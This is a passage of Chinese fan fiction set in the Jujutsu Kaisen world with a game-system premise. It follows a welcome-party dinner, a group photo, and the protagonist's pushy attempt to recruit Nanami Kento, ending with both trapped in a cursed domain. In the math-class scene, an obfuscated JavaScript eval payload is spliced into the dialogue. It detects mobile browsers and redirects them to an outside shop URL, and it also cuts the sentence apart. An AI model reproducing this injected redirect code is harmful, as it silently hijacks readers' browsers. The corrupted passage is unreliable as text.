五条悟脸上的嚣张像被按了暂停键,瞬间消失得无影无踪。 他张了张嘴,半个字都没吐出来,整个人僵在原地,那双总是亮得耀眼的六眼,此刻瞪得圆圆的,满是无措,活像只闯了祸的猫,连尾巴都忘了翘。 “遥……?”他试探着往前挪了半步,声音都放软了,没了平日的嚣张,只剩小心翼翼,“我错了还不行吗,不绝交了。” 望月遥没理他,只是眼泪掉得更急了些。 眼尾的红意蔓延开,晕染了大半张眼窝,可他依旧抿着唇,一声不吭,清冷的骨相与无声的落泪形成了极致的反差,像一幅被水汽打湿的水墨画,脆弱得让人不敢触碰。 夏油杰快步走上前,蹲在他面前,动作放得极轻,生怕惊扰了他。 他想伸手帮他擦眼泪,又怕唐突了,最终只是递过去一张干净的纸巾,语气温柔得近乎叹息:“遥,都怪悟,下次我们不带他玩了好不好。” 夏油杰不愧为损友,这个时候都不忘拉踩一下鸡掰猫。 家入硝子也走了过来,靠在旁边的门柱上,平日里冷淡的眉眼此刻也柔和了几分,她没说话,默默地伸出手在望月遥头顶揉了揉,以示安抚。 五条悟蹲在他面前,突然伸手擦掉了一边的眼泪。 他的指尖沾着一点微凉的泪,听见夏油杰甩锅,气得在背后疯狂打手语,嘴型都快飞出残影:“夏油杰你给我等着!训练场单挑!” 可对上望月遥泛红的眼尾,那点嚣张瞬间又软了下来,指尖轻轻蹭过他的脸颊,语气别扭得很:“丑死了,再哭我就把你拍下来贴在高专公告栏上。” 夏油杰在一边看的好笑,一巴掌拍在了五条悟后脑勺上:“不会哄就别哄,越哄越糟。” 他也蹲在望月遥面前,轻声道:“走吧,我们给你准备的欢迎会,有你爱吃的蛋糕。” 家入硝子也跟着补了一句:“我特意让老板专门定做的,多加草莓,少放奶油。” 望月遥的动作顿了一下,他缓缓抬起头,眼睫上还挂着泪珠,冰蓝眼瞳里蒙着一层水汽,却终于有了一点焦距。 他没说话,只是轻轻点了点头。 五条悟瞬间满血复活,一把拽起望月遥,动作快得像阵风:“走,我们都准备好了,我用五条家黑卡买单,不仅蛋糕,你想要什么都给你包了。” 望月遥被他拽得一个趔趄,却没反抗,只是任由他拉着走。 在他们没注意到的角落里,望月遥悄咪咪的比了个耶。 嘻嘻,计划通。 系统友情提供仿真眼泪版·眼药水(咸味版)深藏功与名。 7. 第四天灾的欢迎会 樱花瓣被晚风卷着,黏在望月遥还带着湿意的衣领上。 他被五条悟拽着走,步伐稍显踉跄,冰蓝眼眸里的水汽尚未散尽,眼尾那点淡红却已褪得只剩浅浅一抹。 五条悟的步伐快得像阵风,白色短发被风掀得乱飞,手里捏着黑卡,大步流星地走在银座的繁华街头,他时不时回头瞟一眼望月遥,确认身后这人不会再一言不合掉眼泪。 “啧啧啧,是不是害羞了遥,刚刚哭的好惨的。”五条悟用着非常欠揍的语气说出这句话,好像刚刚哄人的不是他一样。 “……我没有。”望月遥瞪了他一眼,一字一句道。 “还说没有?”五条悟得寸进尺,干脆停下脚步,双手叉腰,歪着头打量他,“耳朵都红成番茄了,跟刚才哭的时候一模一样。” “五、条、悟。”望月遥终于抬眼,冰蓝瞳仁里带着淡淡的警告,“你信不信我再哭一次,这次说什么都不好使了。” 这句话比任何威胁都管用。 五条悟瞬间闭紧嘴巴,双手举过头顶做了个“投降”的手势,转身就往烤肉店的方向冲:“走走走!平城苑银座店,我提前订了包间,晚了最好的和牛就被别人抢光了!” 夏油杰和家入硝子跟在后面,看着前面两个斗嘴的身影,无奈地交换了个眼神。 “悟还是老样子,他就不是正常人。”夏油杰失笑,抬手帮望月遥拂去肩头残留的樱花瓣,“遥,别跟他一般见识,他就是嘴欠。” 家入硝子靠在路边的路灯杆上,慢悠悠地拧开一瓶无糖咖啡,递了一瓶给望月遥:“先喝口压一压,刚哭过别空腹吃太油,小心胃疼。” “以及,你觉得你又是什么正常人吗杰。” 夏油杰选择无视后面这句话。 望月遥接过咖啡,指尖触到微凉的瓶身,心里的那点窘迫瞬间被冲淡了些。 他拧开瓶盖,轻轻抿了一口,苦香在口腔里蔓延,让他混沌的思绪清醒了不少。“谢谢硝子。”他眨了眨眼,冰蓝眼眸弯成月牙,瞬间从清冷美人切换成笑眯眯的样子,“等会儿我帮你抢悟的烤肠,焦脆的那种。” 夏油杰在一旁看得好笑:“我支持你,我和你一起抢。” 四人沿着银座的街道往前走,两侧的奢侈品店灯火通明,橱窗里的模特穿着精致的服饰,与街头飘落的樱花瓣形成了奇妙的反差。 来往的行人步履匆匆,却在经过他们四人时,忍不住多看两眼。 ——毕竟,一个白发戴墨镜的少年,一个黑发丸子头的温柔少年,一个叼着烟的酷飒少女,再加上一个眉眼清冷却笑得像小太阳的少年,这样的组合,实在太过惹眼。 平城苑银座店藏在一栋低调的高档写字楼里,推开厚重的木质大门,一股浓郁的烤肉香气便扑面而来。 店内的装修沉稳雅致,暖黄色的灯光柔和地洒在每一处,皮质沙发座位宽敞舒适,每个用餐区域都用木质屏风隔开,私密性十足。 门口的侍应生穿着笔挺的西装,见五条悟进来,立刻躬身行礼,语气恭敬:“五条少爷,您预订的包厢已经准备好了,请随我来。” 五条家在现世也有可观的资产,被叫做少爷倒也不稀奇。 五条悟挥了挥手,大摇大摆地走在前面,还不忘回头冲望月遥比了个“这边请”的手势:“遥,快跟上,今天让你吃顶级和牛吃到撑~” 包厢是个独立的空间,里面摆着一张长方形的烤桌,中间嵌着精致的炭火烤炉,旁边的置物架上摆满了各式各样的烤肉工具和调味料。 侍应生贴心地为他们拉开椅子,又端上几碟精致的前菜——清爽的蔬菜沙拉、腌制入味的韩式小菜,还有一份点缀着海胆的生拌牛肉,一口下去,鲜美的滋味瞬间在口腔里炸开。 “这个好吃,吃这个。”五条悟率先拿起筷子,夹了一块塞进嘴里,又推给望月遥,“遥,你快尝尝,这可是本大爷优选烤肉店,可好吃了,你一定会喜欢。”他说罢还摆了个poss,那一瞬间望月遥好像看到了布灵布灵的金光在闪耀。 望月遥依言夹了一块,入口即化的和牛搭配鲜甜的海胆,口感层次丰富,确实惊艳。他眼睛一亮,立刻又夹了一块塞进嘴里,含糊不清地说:“好吃!悟,你眼光终于在线一次。” 夏油杰笑着帮他倒了一杯茶:“慢点吃,不着急。” 话音刚落,侍应生便推着餐车走了进来,上面摆满了一盘盘切得厚薄均匀的和牛。霜降纹理清晰得如同大理石一般,在灯光下泛着诱人的光泽,光是看着,就让人垂涎欲滴。 “这是本店的招牌船形拼盘,包含了神户牛的各个稀有部位,还有顶级的厚切牛舌和和牛五花。”侍应生一边介绍,一边将拼盘摆在桌上,“五条少爷特意吩咐过,所有肉品都选最新鲜的,火候也可以让我们的厨师帮忙把控。” “去去去。”五条悟立刻摆手,一把抢过侍应生手里的烤肉夹,“今天我亲自烤,让你们尝尝最强的烤肉手艺!” 夏油杰和家入硝子异口同声地叹气:“你还是算了吧。” “喂,你们这是什么态度!”五条悟不服气,戴上一次性手套,拿起一片和牛就往烤架上放,“我可是偷偷跟家里的厨师学过的,绝对比你们烤得好!” 烤肉一接触烤架,立刻发出“滋滋”的声响,油脂顺着烤架的缝隙滴落,溅起细小的火花,浓郁的肉香瞬间弥漫了整个包厢。 望月遥坐在一旁,托着腮帮子,笑眯眯地看着五条悟手忙脚乱的样子。 白发少年摘下了墨镜,透蓝的双眸认真的看着面前的烤盘,一会儿怕烤焦了翻得太快,一会儿又担心没熟翻得太慢,那副手忙脚乱的模样,与他平日里“最强”的嚣张姿态判若两人。 虽然很认真,但是…… “悟,你烤焦了!”夏油杰忍无可忍,伸手接过他手里的烤肉夹,“还是我来吧,你别把好好的和牛糟蹋了。” “我才没有,杰。”五条悟试图抢回烤肉夹,却被夏油杰轻轻推开。 “你烤的那片,已经黑得像炭了。”家入硝子在一旁补刀,夹起一片烤焦的和牛,放在五条悟面前,“你自己尝尝。” 五条悟硬着头皮咬了一口,瞬间皱起眉头,吐着舌头大喊:“好苦!这什么啊!” 望月遥笑得前仰后合,冰蓝眼眸弯成了月牙,清冷的骨相瞬间被鲜活的笑意冲淡,像冰雪消融:“悟,你这手艺,哈哈哈。” 这抹笑意虽然夸张,却被眼尖的五条悟捕捉到了。 他瞬间来了精神,指着望月遥大喊:“杰,硝子,你们看,遥笑成傻子了!” 望月遥立刻收敛笑意,叉着腰瞪他:“五条悟!你才是傻子!” “还是笑着的遥看起来有活力。”夏油杰笑着说,手里的动作不停,熟练地翻动着烤架上的和牛,“这样才是我们熟悉的遥嘛。” 家入硝子也点了点头,夹起一片烤得恰到好处的和牛,放在望月遥的餐盘里:“给你,刚烤好的。” 望月遥接过和牛,蘸了点海盐,放进嘴里。入口即化的口感,搭配着海盐的咸香,还有和牛本身的奶香,简直是味蕾的极致享受。他忍不住又吃了一片,眼睛亮晶晶的:“好吃,硝子,你比悟靠谱多了!” “哈?你居然当着本大爷的面诋毁我,遥!” “有什么问题,遥也没说错啊。”家入哨子扭头瞥了一眼五条悟,淡淡地嘲笑道。 “你!算了不和你计较。”猫猫生气,猫猫可以自己哄自己。 五条悟凑过来,一脸期待地看着望月遥,“怎么样,好吃吗。” 望月遥点了点头:“好吃。谢谢你,悟。” 被他这么一夸,五条悟瞬间飘了,尾巴都快翘到天上去了:“那是当然,我选的店,能差吗?以后你想吃烤肉,随时找我,我用黑卡买单。” “你还是先学会怎么烤好一片和牛吧。”家入硝子再次补刀。 “家入硝子!你别太过分!”五条悟气呼呼地拿起一片烤肠,往烤架上放,“我今天非要烤出一片完美的肉给你们看!” 家入哨子:“……我真求你了。” 包厢里的气氛愈发热闹。 五条悟依旧在跟烤架“搏斗”,时不时烤焦一片肉,引来夏油杰和家入硝子的吐槽;夏油杰则熟练地烤着和牛,时不时夹一片给望月遥和家入硝子;家入硝子一边吃,一边点评五条悟的“黑暗料理”,手里还不忘给望月遥递纸巾;望月遥则坐在一旁,一边吃着烤好的和牛,一边笑眯眯地煽风点火,时不时补刀五条悟,清冷的眸子里满是鲜活的暖意。 这个游戏,其实也蛮真实的嘛。 想到这里,望月遥的心里暖暖的,他拿起面前的烤肉夹,主动拿起一片和牛,往烤架上放。 “遥,你也想烤?”夏油杰注意到了他的动作,“我教你。” 望月遥点了点头,学着夏油杰的样子,小心翼翼地翻动着和牛,他的动作有些生疏,却很认真。 “翻得不错嘛。”夏油杰笑着说,“比悟第一次烤的时候强多了。” “杰,你没完了是吧,你又提我!”五条悟气呼呼地说,却还是忍不住凑过来,看着望月遥烤的和牛,“嗯,看起来还不错,应该不会烤焦。” 家入硝子也凑过来,看了一眼,点了点头:“火候掌握得挺好,再烤一会儿就可以吃了。” 望月遥的心里充满了成就感。他夹起烤好的和牛,先放在了五条悟的餐盘里,然后是夏油杰和家入硝子,最后才是自己的。 “你们尝尝。”他笑眯眯地说,语气带着几分得意,“我烤的,绝对比悟的好吃。” “切,比我肯定还是差了一点的。”五条悟吃了一口,嘴硬道。 “是是,悟比遥差一点。”夏油杰笑着夹起和牛,放进嘴里,“不错,口感刚刚好。” 家入硝子也尝了一口,点了点头:“嗯,好吃。” 得到三人的夸赞,望月遥忍不住叉着腰笑:“那当然,我可是第四天灾,烤个肉还不是轻松拿捏。” 不知过了多久 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五条悟在结束奶油大战后发现了拍照的哨子,就开始和家入硝子抢手机,夏油杰在一旁劝架,望月遥则走在最后,手里拿着没吃完的草莓蛋糕,冰蓝眼眸里满是笑意,时不时还凑上去帮家入哨子拦人,活像个没心没肺的小疯子。 “遥,明天我们去游乐园吧。”五条悟突然停下脚步,看向望月遥,“刚好周末了,我们出去玩。” “游乐园?”望月遥眼睛一亮,瞬间蹦了起来,“好啊好啊,我要坐过山车,还要吃棉花糖,要五彩斑斓的黑那种!” 五条悟:“?” 夏油杰:“……什么东西?” 家入哨子:“五彩斑斓的……黑???” “好吧,那就五彩斑斓的黑。”五条悟决定回去搜搜看这个所谓的五彩斑斓的黑是什么东西。 望月遥跑在最前面,突然回头问道,“我们要不要一起拍个照?” 夜风卷着烤肉的余温掠过街角,银座的霓虹灯在他灰蓝碎发上淌过鎏金般的光,冰蓝眼眸弯成月牙,清冷的骨相被满街烟火气衬得鲜活又明亮。 他一只手攥着半块草莓蛋糕,另一只手高高举着夏油杰的拍立得,晃了晃,银质耳环比着灯光闪了闪。 身后三人脚步齐齐顿住。 五条悟立刻收了和夏油杰的打闹,几步窜到望月遥身边,一把揽住他的肩,白发被风掀得乱飞,墨镜滑到鼻尖,六眼亮得像淬了星光:“拍,必须拍,本大爷今天帅炸了,不拍可惜。” 夏油杰无奈笑着走上前,自然站到望月遥另一侧:“就拍吧,正好留作迎新会的纪念。” 他接过拍立得,指了指街角:“就站那里,霓虹灯背景刚好。” 家入硝子慢悠悠走过来,指尖夹着咖啡罐,看似冷淡,却悄悄理了理校服下摆,又帮望月遥扯正歪掉的衣领,声音清淡却带着妥协:“快点拍,别耽误回高专,明天还要训练。” 四人往街角空地处站定,周遭人流熙攘,行人们步履匆匆,却总忍不住放慢脚步,看向这四个格外惹眼的少年。 银座的霓虹灯在他们身后交织成流动的星河,红的、蓝的、粉的光影叠在一起,将四人的身影镀上一层朦胧又耀眼的边。 “都站好啊。”夏油杰找了个路人拜托他帮忙拍照,路人也是友善的同意了,夏油杰站在一旁看着,“遥,把蛋糕举高点,悟,别挑眉挑得像反派,硝子,稍微笑一点。”然后自己也跑了过去进入镜头。 “我这是帅气!”五条悟不服气地嚷嚷,却还是乖乖把嘴角的嚣张收了收,悄悄比了个“V”字。 晚风恰好掠过,樱花瓣悠悠飘落,落在四人的发间、肩头。 “三——二——一!” 快门按下的瞬间,望月遥突然喊了一声:“咒术高专最强四人组!” 五条悟开团秒跟:“最强!” 夏油杰笑着应和:“嗯。” 家入硝子的声音很轻,却清晰地融进晚风里:“……切。” “咔嚓”一声,时光被定格。 照片里,霓虹灯在身后流淌成海。 望月遥笑得最欢,奶油沾在嘴角,手里举着草莓蛋糕,眼睛亮得像星星;五条悟揽着他的肩膀,墨镜拿在手中,笑的嚣张又鲜活;夏油杰站在一旁,眉眼温柔,指尖还停留在望月遥的后背;家入硝子靠在路灯杆边,嘴角噙着一点极淡的笑意,清冷的眉眼柔和了不少。 他们走过灯火通明的奢侈品店,走过飘着樱花瓣的街道,走过熙熙攘攘的十字路口。少年们的恣意与鲜活,像一束光,穿透了深夜的喧嚣,连身边的霓虹都成了陪衬。 不知是谁先起的头,望月遥哼起了不成调的歌,五条悟立刻跟着瞎唱,夏油杰笑着附和,家入硝子也在心里默默跟着哼。 这时候的他们,谁也不知道。 这是四人最后一次齐聚的时刻。 8. 第四天灾的接引任务 说要一起去游乐园的,最后也没去成。 清晨六点的咒术高专,训练场上没有往日的喧哗,只有风卷着樱花瓣掠过空荡的场地。 望月遥靠在宿舍楼下的樱花树旁,手里攥着一份任务通知,另一只手刷着手机里的群消息,眼里满是无奈。 【老子天下第一】:遥,东边特级咒灵暴动,我和杰被夜蛾老师拎去当苦力了!游乐园门票先塞硝子那,回来再补。 【医疗班摆烂王】:别塞我这,我被锁在医务室当牛马,将近二十个咒术师等着我,没空帮你们存票。 【夏有凉风】:遥,新生劝说的任务我们也听说了,需要你一个人去招揽了,如果成功我们就要多个学弟了呢。 【老子天下第一】:学弟什么的不重要,招不到就不招了呗,听说那小子可麻烦了。 【第四天灾玩家】:……收到。 最后一条消息是五条悟十分钟前发的。 而他已经站来到了学校——东京都立第三中学校门口。 望月遥把手机揣进校服内袋,理了理衣领,又把银质耳环摘下,扯出一个标准的“优等生微笑”。 昨天晚上的拍立得照片还在口袋里,霓虹灯映着四人的笑脸,可一夜之间,“最强四人组”就被拆解得七零八落,只剩他一个顶着“劝学大使”的头衔,去搞定那个据说比家入硝子还冷静的准学弟。 东京都立第三中学的早高峰,校服蓝白相间的学生们涌进校园。望月遥站在对面的便利店门口,一眼就锁定了目标。 不远处的斑马线旁,一个穿着米白色校服外套、留着整齐七三分金发的少年正低头看表。 他背着黑色双肩包,领口系得一丝不苟,护目镜挂在书包肩带上,眉眼清俊却带着与年龄不符的沉稳。 16岁的年纪看起来却像个沉稳可靠大人,另一只手拿着刚买的三明治,步履精准得像在执行任务。 七海建人,咒术高专盯上的潜力股。 望月遥深吸一口气,掐灭了想掏出系统面板的冲动,迈着稳重的步子走过去。 “七海建人同学,你好。”他微微鞠躬,语气克制又礼貌,“我是东京都立咒术高等专门学校的二年级学生望月遥,受夜蛾校长所托,来和你沟通入学事宜。” 七海建人抬起头,黑眸扫了他一眼,没有丝毫惊讶,只有恰到好处的疏离。 他咬了一口三明治,咀嚼完毕才缓缓开口,声音是不符少年人的低沉稳重,带着股不容置疑的坚定:“我知道,夜蛾先生昨天下午给我打过电话,我已经明确拒绝了。” 七海建人,一个普通的国中生。 早在那个名叫夜蛾正道的人联系他的时候他就已经做好自己平平无奇的普通人生活被搅乱的准备了。 ——果不其然。 看着面前灰蓝发的少年,他似乎有些苦恼他的回答,正在思索怎么回话。 ——那个什么咒术高专果然派人来了。 他从小就知道自己和别人不一样,大概就是自己能看到一些别人看不到的东西吧,虽然那些东西长得很诡异,但只要他无视掉,就可以相安无事。 他一直以来也是这么做的。 秉持着一直以来的生存守则,他相安无事的度过了15年的人生,直到最近,他家附近出了点状况,为了保证自己未来的人生也依旧碰平淡无波,他难得在夜晚出门了。 也就这一出,让他被那位看起来很虚的仁兄给看上了。 “嗯?你有咒力波动,是入学的新生吗?” 那位仁兄看起来很惊讶,但他听的却不明白,咒力……听起来像是他能看到那些东西的原因,他还以为是什么妖力之类的。 毕竟妖怪物语这些还是很流行的不是吗。 就这样,七海建人本来打算离开的脚步也停下来了,和那位自称辅助监督的松本先生进行了一些交流。 对方看着他的眼神特别的激动,尤其是在知道他并非所谓的咒术高专新生以后,更是颤巍巍的掏出手机给别人打了个电话。 就是那位夜蛾先生。 回想起那天的谈话,七海建人定了定神,看向望月遥,重新开口:“虽然很遗憾,但我并没有什么脱离正常人类社会的兴趣,对做英雄这种事情不感兴趣。” 是的,虽然他确实不同,但他并不打算随意触及未知的领域。 “综上所述,如果没有其他的事情,我就先走了,我还需要上课,失陪。”礼貌的说完,七海建人微微躬身,错过望月遥往学校走去。 望月遥:“……我刚刚是不是在和什么成熟的大人聊天???” 看着七海建人离开的毫不犹豫的背影,望月遥嘴角勾起一抹笑。 他舔了舔自己的虎牙,眼睛弯成两道月牙:“七海同学,今天我跟定你了哟~” 一阵凉风吹过,七海建人只觉得自己后背发凉,转头一看却没看到什么东西,就连刚刚还在不远处的那位自称高专二年级生的望月遥也不见了。 他眉心跳了跳,总觉得哪里不对,却没放在心上,直到…… “好了同学们停一下。”班主任站在讲台上轻轻敲了敲黑板,“我们今天来了一位借读生,望月同学,现在可以了,请进来吧。” 早上刚见过的那位望月遥赫然站在讲台上,装模作样的淡着脸色,在七海建人的视线看向他的时候秒变了笑脸,不过就一瞬间的事情,快的仿佛是幻觉。 “我叫望月遥。” 他抬眼,指尖漫不经心地摩挲着颈间的皮质颈圈,碎发随着动作轻轻晃动,“没什么特别的爱好,也不太喜欢热闹。如果非要问……大概是对‘有趣的麻烦’有点兴趣。” “嗯对,就是这样。” 听完他的自我介绍,台下爆发了一阵不小的惊叹声,很明显,他的同学们都被这个池面脸迷惑了。 “嗯…那望月君,就坐在……” 班主任环视了一圈,还没看好让新来的学生坐哪,就听到望月遥说道:“我觉得后面那位金色头发的同学看起来很面善,我能坐那吗,老师?” “哦,可以。”班主任顺着望月遥手指的方向看去,“七海同学的话人很好,成绩也不错,性格沉稳,你有不懂的问题问他就好了。” 不,一点都不可以! 七海建人面无表情的听着班主任的话,在心里呐喊。 “好哦,谢谢老师。” 你谢谢个鬼啊!你礼貌吗?! 看着走近的少年他手里的笔都要掐断了。 “七海同学,请多多指教哦。” 少年的声音像冰泉撞在玉石上,清冽又带着点自来熟的甜,灰蓝碎发垂在额前,眼尾微微上挑,像只偷溜进教室的小狐狸。 七海建人捏着笔的指节泛白,脸上维持着恰到好处的沉稳,他听到自己回答:“多多指教。” 呵……毁灭吧,这个世界。 他原本以为,今天只是普通的周三——早自习背英语单词,上午四节主课,下午自习刷数学卷子,傍晚去补习班,一切都在他的日程表里精准运行。 哪怕今天早上在校门口被人拦住,还是所谓的咒术界派来的人,他都可以面不改色。 但是谁家好人劝学劝到别人学校来的? 而且这个时候来借读真的合理吗!为什么没有人管管!? 望月遥,咒术高专的“劝学大使”,以“转学生”的身份,堂而皇之地坐在了他旁边的空位上。 望月遥可不管七海建人内心的这么多活动,看着自己面板上金光闪闪的称号——“劝学特派专员(限时),后面跟着的一连串加成,就开心。” 接下来七海建人只感觉自己仿佛置于水深火热之中。 “七海同学,你这道数学题的解法好巧妙啊!” 早自习还没开始,望月遥就凑了过来,脑袋几乎贴在他的卷子上,冰蓝眼眸里满是星星:“能不能教教我?我昨天做了一晚上都没做出来!” 七海建人深吸一口气,强迫自己把注意力集中在卷子上:“这是基础题型,用二次函数求极值就可以。” “哇!好厉害!”望月遥眼睛一亮,立刻掏出自己的笔记本,“那你帮我看看这道压轴题,我算出来的答案和参考答案不一样,是不是哪里错了?” 七海建人低头一看,差点把笔掰断。 那道题他昨天刚在补习班做过,标准答案是√3/2,而望月遥的答案是“草莓蛋糕真好吃”。 “……望月同学,”七海建人语气平静,“你是不是把数学题和美食日记写混了?” 啊?”望月遥眨了眨眼,低头看了看自己的笔记本,突然笑了起来,“哎呀,写错页了!这是我昨天吃烤肉的时候写的感想,数学题在后面呢!” 他翻了两页,果然,后面的数学题答案写得工工整整,步骤清晰得像教科书。 七海建人:“……” 第一节课是英语,老师让大家轮流朗读课文。轮到望月遥时,他站起来,清了清嗓子,用一口标准的伦敦音朗读起来,发音标准得让英语老师都忍不住点头称赞。 “望月同学的英语发音很标准,”老师笑着说,“平时是不是经常练习?” “没有哦,”望月遥笑着说,“因为悟他说英语是咒术师的必备技能,方便和国外的咒术师交流。” 英语老师:“???” 全班同学:“???” 七海建人:“……” 他默默在心里划掉了“英语课可以安心刷题”的计划。 第二节课是数学,老师在黑板上讲解压轴题,望月遥突然举手:“老师,我有更简单的解法!” 他走上讲台,拿起粉笔,在黑板上写下了一串简洁的公式,步骤比老师的解法少了三分之一,却精准地直击核心。全班同学都看呆了,连数学老师都忍不住赞叹:“望月同学的思路很新颖,大家要向他学习!” “谢谢老师,”望月遥笑着说,“这是杰教我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332744|199182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他说咒术师要学会用最简洁的方式解决问题,就像数学解题。” 数学老师:“???” 全班同学:“???” 七海建人:“……” 求你了闭嘴吧,别提咒术高专了,他重新考虑考虑还不行吗。 午休时间,望月遥拉着七海建人去食堂吃饭。他端着餐盘,径直走到打饭窗口,对着食堂阿姨说:“阿姨,给我来两份和牛便当,再加一份草莓蛋糕!” 食堂阿姨愣了一下:“同学,我们食堂没有和牛便当,也没有草莓蛋糕。” “啊?”望月遥皱起了眉头,“那你们有什么?” “有咖喱饭、拉面、炸猪排。” “那我要两份炸猪排,再加一份米饭!”望月遥说着,转头看向七海建人,“七海同学,你要吃什么?我请客!” 七海建人看着他手里的餐盘,语气平静:“不用了谢谢。”他拒绝了望月遥的邀请,转头又道,“请给我要一份咖喱饭。” 两人找了个位置坐下,望月遥一边吃炸猪排,一边含糊不清地说:“还是高专食堂好吃,七海同学你要是来的话天天都能吃到好吃的。” 七海建人默默吃着咖喱饭,没有说话。他现在只想快点吃完,回到教室刷题,远离这个大傻春。 可事与愿违,望月遥突然凑了过来,压低声音说:“七海同学,我跟你说,高专食堂有和牛,是A5级的,每天都有,还有草莓蛋糕,随便吃!” 谁问了?谁问了! Who care? “而且,”望月遥继续诱惑,“我们学校的自习室24小时开放,还有静音区,绝对不会有人打扰你刷题!” 呵,无人是指,一个年级凑不出三个人吗。 “最重要的是,”望月遥眼睛一亮,“我们学校的老师都是特级咒术师,不仅体术厉害,文化课也厉害,数学题随便问,比补习班的老师厉害多了!” 信你就有鬼了,这么一个专门面对危险事件的学校还在意文化课? 七海建人:“……你到底想说什么?” “我想说,”望月遥笑着说,“你要不要考虑一下,今天就跟我回高专?我已经和夜蛾老师说好了,给你安排单人宿舍,还有专属的自习室!” 七海建人深吸一口气,强迫自己冷静下来:“望月前辈,冒昧问个问题,像你这样的人,高专还有多少?” 望月遥眨巴眨巴眼睛,“像我这样的吗?还有三个哦,不过那是我的同期啦,你这一届只有你和另一个人哦。” “果然我很好吧,你都问有多少像我一样的人了。”望月遥骄傲了。 “啊……是的。”七海建人死鱼眼,如果像他这样的还有三个,那连考虑都不用考虑了。 下午的自习课,七海建人原本打算刷三套数学卷子,可望月遥一直在旁边打扰他。 “七海同学,你看这个咒灵的图片,是不是很可爱?” “七海同学,你看这个咒术的结印,是不是很简单?” “七海同学,你看这个高专的宿舍照片,是不是比学校的宿舍好多了?” 七海建人忍无可忍。 所以他换了个位置。 可他刚走没多久,就感觉到身边的位置坐下了人,随之而来的就是一道不会让人难受,但却很明显的视线。 他抬头,正好对上望月遥的视线。 “七海同学,”望月遥笑着说,“你刷题的样子好认真啊,像个小大人。” 七海建人:“……” 他现在只想找个地缝钻进去。 直到放学,望月遥依旧黏在他身边。 七海建人忍无可忍,“望月前辈,我郑重的考虑了一下,我觉得加入高专也不是不可以,请你联系一下夜蛾先生吧。” “真的吗!”望月遥蹭的一下眼睛亮了,跑到一边就开始打电话。 趁着望月遥转移注意的瞬间,七海建人咬紧牙关,撒丫子就跑,他觉得这可能是他16年人生里最卖力的一次。 只要跑掉今天,明天的事情明天再说! 七海建人几乎是凭着本能在跑,书包带勒得肩膀生疼,校服外套被风掀得翻飞。 他脑子里只有一个念头——跑,跑得越远越好,只要甩掉那个黏人的前辈,今天就算安全结束。 可他刚拐进一条偏僻的后巷,脚下的地面突然泛起一阵刺骨的寒意。 空气瞬间凝固,巷口的光线像被一只无形的手掐灭,四周的墙壁开始扭曲、渗出血色的纹路,一股令人作呕的压迫感从四面八方压过来。 七海建人猛地停住脚步,瞳孔骤然收缩。 “什……!” “七海!抓住我!” 刚刚被他甩开的望月前辈不知道什么时候来到了他的身边,伸出手想要拉住他。 可是没有用,身后黑色的区域猛地涨大,把两人都包裹了进去。 是未被检测出来的特级咒灵。 9. 第四天灾的高光时刻 天地倾覆的刹那,七海建人只觉得一股无法抗拒的巨力从脚下炸开,将他与身前那道清冷的身影狠狠撕裂。 “望月前辈——!” 少年短促的惊呼被浓稠如血雾的黑暗吞噬,连尾音都没能完整飘出去。 望月遥手指猛地收缩,指尖还残留着对方校服布料的温度,可眼前只剩下翻涌不休、不断蠕动的腐肉与脏器。 领域的力量在疯狂绞杀闯入者,将空间切割成无数扭曲的碎片,每一片都在吞噬光线、声音、温度,乃至人的意识。 这是特级咒灵「骸食」的领域——血肉囚笼。 望月遥看着系统面板提示的咒灵资料,脸上露出了核善的微笑。 他早该知道的,垃圾咒术高层,从头到尾都是不做人的。 这么一个特级咒灵,而且还是已经成型的特级咒灵,他们居然没有检测到!他们想干嘛! 【警告,检测到宿主与目标人物分离,领域内咒灵浓度急剧上升,建议优先自保。】 【不过就玩家你的术式来看,也保不到哪去。】 一道机械又带着点欠揍的声音突然在他脑海里响起。 是那个智能的系统,不是那个人工智障。 “怎么是你。”望月遥警惕着系统88可能随时吐出的不当人发言,虽然它本来也不是人。 【内测玩家里,就属你这里的咒力波动最大,我来瞅瞅怎么个事。】 熟悉的台词熟悉的统。 望月遥差点被气笑,“合着就我一个倒霉蛋你百分百关注呗。” 【那倒也不是,本统这次来是给你个机会,策划上新抽卡功能了,你要试试不。】 “不要,我与赌毒不共戴天。” 【那就是和黄可以了呗……啊不对,不好意思关注点错了。】 望月遥:“…………” 【放心,内测抽卡爆率很高的,试试呗,免费送你十连抽,哪怕抽到大粪那都是赚了好嘛。】 【而且我友情提醒一下哦~玩家你现在的术式可不足以面对特级咒灵呢,你再不爆种你的学弟就要凉凉了。】 “什么!?”望月遥本来还不为所动,直到听到他亲亲未来学弟要无了,他才瞪大双眼,不可置信道,“什么东西都来和我抢人了?哈!” “它配吗!!!” 第四天灾很不爽,他很生气,后果很严重。 【再友情提醒一下哦亲~你的术式属于是魔幻攻击手段哦,物理攻击能力可是zero。】 【换句话来讲就是——你连这玩意儿的波棱盖都打不穿。】说着,还特别应景的用咒力化成一个箭头→指了指一坨起伏的腐肉,又竖了个中指表达嘲讽。 【而且那个金色称号加成在你那个术式上简称“无”。】 望月遥:“……抽!现在就抽!” 年轻人经不起挑衅,更何况他的术式确实没办法应对这个咒灵,所以望月遥决定直接□□。 【好嘞~这就为您打开抽卡面板。】 【小保底90抽,大保底180抽,鉴于内测途径为最大化提高体验度所以直接奖励您一发捕获明光~】 【恭喜玩家抽中五星限定攻击术式——断念·万瞬归尘。】 【祝玩家游玩愉快,那本统就先退下啦~】 这什么O神既视感,望月遥在心里吐槽一句,但吐槽归吐槽,他扫了几眼术式面板,眼睛瞬间亮了起来。 如此强劲,令人惊叹! 不愧是加载了O神模式的抽卡。 望月遥看着眼前翻涌的猩红血肉,没注意术式下方的一行小字,直接装备启用术式。 他的意识突然像被抽离了身体,眼前的景象瞬间扭曲成一片模糊的色块。系统冰冷的提示音在脑海里炸开:【检测到宿主意识过载,自动接管身体,术式展开中——】 下一秒,世界重新清晰,却已换了一种视角。 